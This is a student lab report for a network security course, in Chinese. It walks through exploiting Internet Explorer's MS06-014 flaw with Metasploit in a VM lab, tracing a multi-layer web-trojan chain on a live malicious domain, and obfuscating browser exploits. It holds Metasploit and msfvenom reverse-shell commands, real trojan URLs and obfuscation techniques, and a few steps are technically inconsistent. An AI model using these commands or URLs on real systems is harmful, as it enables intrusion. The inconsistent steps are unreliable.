# 20253907 2025-2026-2《网络攻防实践》第11次作业
20253907 2025-2026-2《网络攻防实践》第11次作业
1. 实践内容
本次实验围绕浏览器安全攻防展开,涵盖漏洞利用、恶意网页挂马链分析与攻防对抗三个层面。与传统的网络层渗透攻击(如针对SMB、RPC等服务的直接端口攻击)不同,浏览器渗透攻击以客户端为突破口,通过诱导用户访问特制网页,利用浏览器及其插件中的安全漏洞执行任意代码。这种攻击方式具有更强的隐蔽性和社会工程学特性,攻击者可将恶意链接伪装成钓鱼邮件、广告弹窗或下载诱饵,显著提高攻击成功率。
整个实验分为三个任务,从攻击实施到取证分析再到攻防对抗,形成了一个较为完整的闭环。
(1)Web浏览器渗透攻击(MS06-014漏洞利用)
本任务使用Metasploit中的MS06-014渗透攻击模块。MS06-014是微软2006年发布的安全公告,对应漏洞编号CVE-2006-0003,官方名称为“Microsoft Internet Explorer COM对象创建漏洞”。该漏洞出现在IE浏览器创建COM组件对象的过程中:某些特定的COM对象在实例化时缺乏必要的安全检查,攻击者可通过CreateObject函数调用危险的ActiveX控件,进而触发内存破坏,在用户系统上执行任意代码。
选择此漏洞的原因在于其利用方式具有典型性,且在Windows 2000和Windows XP SP2以下系统上复现成功率较高。虽然该漏洞现已过时,但其攻击原理——利用脚本引擎的不安全特性控制目标系统——与后续许多浏览器漏洞一脉相承。
实验流程如下:
- 在Kali攻击机上启动Metasploit,加载
exploit/windows/browser/ie_createobject模块; - 配置反向连接Payload(如
windows/shell_reverse_tcp),设置监听地址与端口; - 运行模块,Metasploit自动启动一个伪造的Web服务器并生成恶意URL;
- 在Windows 2000靶机的IE浏览器中访问该URL;
- 漏洞触发,Kali端获取反弹Shell,可远程执行命令(如
ipconfig、ver)。
本任务旨在理解浏览器漏洞的触发机制、Shellcode的传输执行过程,以及Metasploit自动生成攻击页面的原理。
(2)网页木马取证分析(分层挂马链解密)
本任务提供一个名为start.html的真实网页木马样本。与单一攻击页面不同,网页木马通常采用多层跳转与混淆技术规避静态检测:使用隐藏的iframe或script标签加载下一级恶意页面,逐层嵌套,最终才释放真正的木马程序。这种设计可躲避杀毒软件与Web防火墙的特征匹配,同时将恶意代码分散到多个服务器,增加取证分析难度。
完整的分析流程如下:
- 打开
start.html,解析其中iframe或script标签的src属性,获得下一级页面URL; - 对该URL字符串计算32位MD5哈希值(字母小写,不含扩展名);
- 构造下载地址:
http://192.168.68.253/scom/hashed/<MD5值>,下载对应文件; - 判断文件类型:
- 若为HTML或JavaScript文件(通常经过混淆或加密),则进行解密/反混淆,提取新的跳转地址,重复上述步骤;
- 若为可执行二进制文件(.exe/.dll),则使用静态反汇编(如IDA Pro)或动态调试(如x64dbg)分析其行为,包括文件释放、注册表修改、网络连接等;
- 重复以上过程直至完整还原挂马链的末端载荷。
本任务要求掌握MD5哈希计算、文件类型识别、常见JavaScript混淆手法(字符串拼接、Base64编码、XXTEA加密等),以及基本的恶意代码静态分析技能。
(3)攻防对抗实践(浏览器漏洞利用混淆与反混淆)
本任务模拟真实环境下的攻防对抗。攻击方需构造至少两个针对不同浏览器的漏洞利用代码(例如MS06-014针对IE的COM对象漏洞,另选MS06-055针对IE的VML渲染漏洞,或针对Firefox旧版本的漏洞),并对其进行混淆处理,常见混淆手段包括:
- 将URL或关键字符串进行十六进制转义或Base64编码;
- 将代码拆分为多段变量拼接;
- 使用
eval()或document.write()动态生成真实攻击代码; - 插入无关注释或虚假代码干扰分析。
防守方收到模拟钓鱼邮件后,需:
- 提取邮件中的恶意链接;
- 使用
wget或curl下载页面源码,避免在浏览器中直接执行; - 分析混淆模式,逐层还原原始攻击代码;
- 通过特征识别漏洞类型:如
CreateObject和RDS.DataSpace指向MS06-014;VML标签(<v:rect>、<v:fill>)与unescape堆喷射指向MS06-055等。
2. 实践过程
2.1 web浏览器渗透攻击
实验环境:
| 虚拟机 | 角色 | IP地址 |
|---|---|---|
| Kali | 攻击机 | 192.168.200.6 |
| Windows 2000 server | 靶机 | 192.168.200.9 |
MS06-014漏洞(CVE-2006-0003)只影响Windows 2000/XP上的旧版IE,用Win2k正合适。
步骤1:连通性测试
先在Kali和Win2k之间互相ping一下,确保网络是通的:
# 在Kali上
ping 192.168.200.9

# 在Win2k上
ping 192.168.200.6

都能ping通,0%丢包。
步骤2:启动Metasploit并搜索漏洞模块
sudo msfconsole
search MS06-014

进入控制台后,查找与 MS06-014 相关的漏洞模块
search MS06-014
搜索结果里有个 exploit/windows/browser/ie_createobject,加载它:

use exploit/windows/browser/ie_createobject
use 0
show options

步骤3:配置攻击载荷
set payload windows/shell/bind_tcp
set LHOST 192.168.200.6
set LPORT 4444

步骤4:生成恶意网页
exploit

成功后会生成一个URL,类似 http://192.168.200.6:8080/xxxxxx,我这里是http://192.168.200.6:8080/bKqW6IU5sWo3NH
步骤5:靶机访问恶意URL
在Win2k的IE浏览器里输入这个URL,页面会变白或显示一些乱码,这是正常的,说明漏洞触发了。

步骤6:建立远程会话
回到Kali,Metasploit已经建立了会话:
sessions -l
sessions -i 1

进入shell后,执行 ipconfig 查看靶机IP,跟之前查到的一致;再执行 ver 看系统版本,确认攻击成功。

2.2 网页木马取证分析
这个任务给的start.html里面藏着多层跳转,需要一层一层剥洋葱,不断解密出地址获取对应文件,最终还原出网页木马的加载链条和最终载荷行为。
步骤1:分析start.html
把start.html用记事本打开,搜索 iframe,找到一行 iframe src="new09.htm" width="0" height="0"。这说明start.html里面藏着一个看不见的框架,自动加载new09.htm,而且用的是相对路径,说明new09.htm就在同一目录下。


步骤2:分析new09.htm
由于start.html是单独下载的文件,无法直接通过原始目录下载 new09.htm。打开new09.htm,看到里面两个引用:
<script src="http://js.users.51.la/1299644.js"></script>(一个统计脚本,不是恶意代码)<iframe src="http://aa.18dd.net/aa/kl.htm"></iframe>

第二个才是真正的恶意入口。
步骤3:计算MD5并下载文件
对 http://aa.18dd.net/aa/kl.htm 算MD5。可以用在线工具或者在Kali命令行算:
echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum
得到 7f60672dcd6b5e90b6772545ee219bd3。然后去学习通里面找到对应文件。
步骤4:分析下载的文件
打开下载的文件,发现是一段被加密混淆的JavaScript代码。里面有base64编码的数据,还提到了XXTEA加密。

解密过程大致是这样的:先识别出密钥,这段代码的密钥是十六进制的 \x73\x63\x72\x69\x70\x74,转成ASCII就是"script"。用XXTEA解密后,得到另一段JavaScript代码。

解密后的代码里有一行 document.write,写了一个隐藏的iframe,指向另一个页面:
document.write('<iframe src="http://aa.18dd.net/aa/xx.htm" width="0" height="0"></iframe>');
重复同样的过程:对新地址算MD5、下载、解密,最终得到一个二进制可执行文件(木马程序)。对木马做静态分析,发现它会调用 Adodb.Stream、StormPlayer 等旧版ActiveX控件,利用这些控件的漏洞下载恶意程序到受害主机。
整个挂马链层的结构是这样的:
start.html → new09.htm → kl.htm(XXTEA加密) → xx.htm(XXTEA加密) → 最终木马下载地址
2.3 攻防对抗实践
攻击方操作:
用msfvenom生成两个针对不同浏览器的漏洞利用代码。MS06-014对应的模块是 windows/browser/ie_createobject,MS06-055对应的是 windows/browser/ms06_055_vml_method。分别生成它们的HTML攻击代码,然后用Base64编码 + 十六进制转义做混淆,再把两个混淆后的URL嵌入到同一个入口页面里,通过URL参数控制加载哪一个。
# 生成MS06-014攻击页面
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.6 LPORT=4444 -f html -o ms06-014.html
混淆处理可以用JavaScript的十六进制转义,比如把URL拆成 %x... 的形式拼接,增加防守方手动还原的难度。
防守方操作:
收到钓鱼邮件后,不直接点链接,先把邮件里的URL提取出来。查看页面源码,发现有一个被混淆的 location.href 跳转,逐层解混淆,最终还原出原始攻击URL。
观察URL路径和页面内容特征:如果是MS06-014,页面会包含 CreateObject 和 RDS.DataSpace;如果是MS06-055,页面会包含VML标签(<v:rect>、<v:fill>等)和堆喷射结构的 unescape("%u..." 编码。通过这些特征可以判断出攻击针对的是IE浏览器的哪个漏洞。
3. 学习中遇到的问题及解决
问题1:MS06-014攻击时,靶机访问URL后页面一直转圈,没有反弹shell
原因:靶机的IE版本太新或者打了补丁,漏洞没触发。Win2k默认的IE应该是5.0版本,但有时候自动更新会打上补丁。
解决:确认靶机操作系统是干净的Windows 2000 SP0,没有安装过任何安全更新。如果还是不行,可以尝试换用其他payload,比如 windows/shell/bind_tcp。
问题2:XXTEA解密时一直报错,解不出来
原因:XXTEA的在线解密工具格式要求比较严格,需要把密文和密钥都处理成正确的格式。
解决:可以用Python脚本自己解密,XXTEA有现成的库。或者直接用在线解密网站,注意密钥要转成十六进制形式输入。
问题3:解混淆时遇到eval加密的脚本,不知道它在执行什么
解决:在浏览器控制台里直接执行被eval包裹的字符串,或者用node.js跑一下,就能看到实际执行的代码是什么。也可以用在线解混淆工具。
问题4:防守方分析邮件URL时,页面一打开就自动跳转走了
原因:页面里可能有自动跳转的脚本或者meta刷新。
解决:用wget或者curl下载页面源码,不要在浏览器里直接打开。下载后用文本编辑器看源码,避免执行任何脚本。
4. 实践总结
这次实验内容挺多的,三个任务串起来基本把浏览器攻击的完整链路过了一遍。
MS06-014这个漏洞是真的老,Windows 2000都已经淘汰不知道多少年了,但它的攻击原理跟现在的新漏洞其实没太大区别——都是通过构造恶意数据让浏览器执行攻击者想执行的代码。不同的只是攻击目标从IE变成了Edge、Chrome、Firefox。
取证分析那部分挺考验耐心的,一个页面套一个页面,还有各种加密混淆,得一步一步往下扒。最终的木马会利用ActiveX控件下载恶意程序,这种挂马方式在当时非常流行,现在已经很少见了,但分析思路还是通用的。
攻防对抗那块让我意识到,攻击者不会直接把攻击代码暴露出来,一定会做各种混淆来增加分析成本。作为防守方,不能只靠眼睛看,还得会用各种工具解混淆、抓包分析。
这次实验最有意思的地方是让我明白了一个道理:浏览器渗透攻击跟之前做的那些网络层攻击不一样,它不是靠扫描端口找漏洞,而是要靠社会工程学或者其它方式让用户自己去点那个链接。这也解释了为什么钓鱼邮件这么多年一直都还有人用——因为人永远是安全链条里最薄弱的那个环节。

浙公网安备 33010602011771号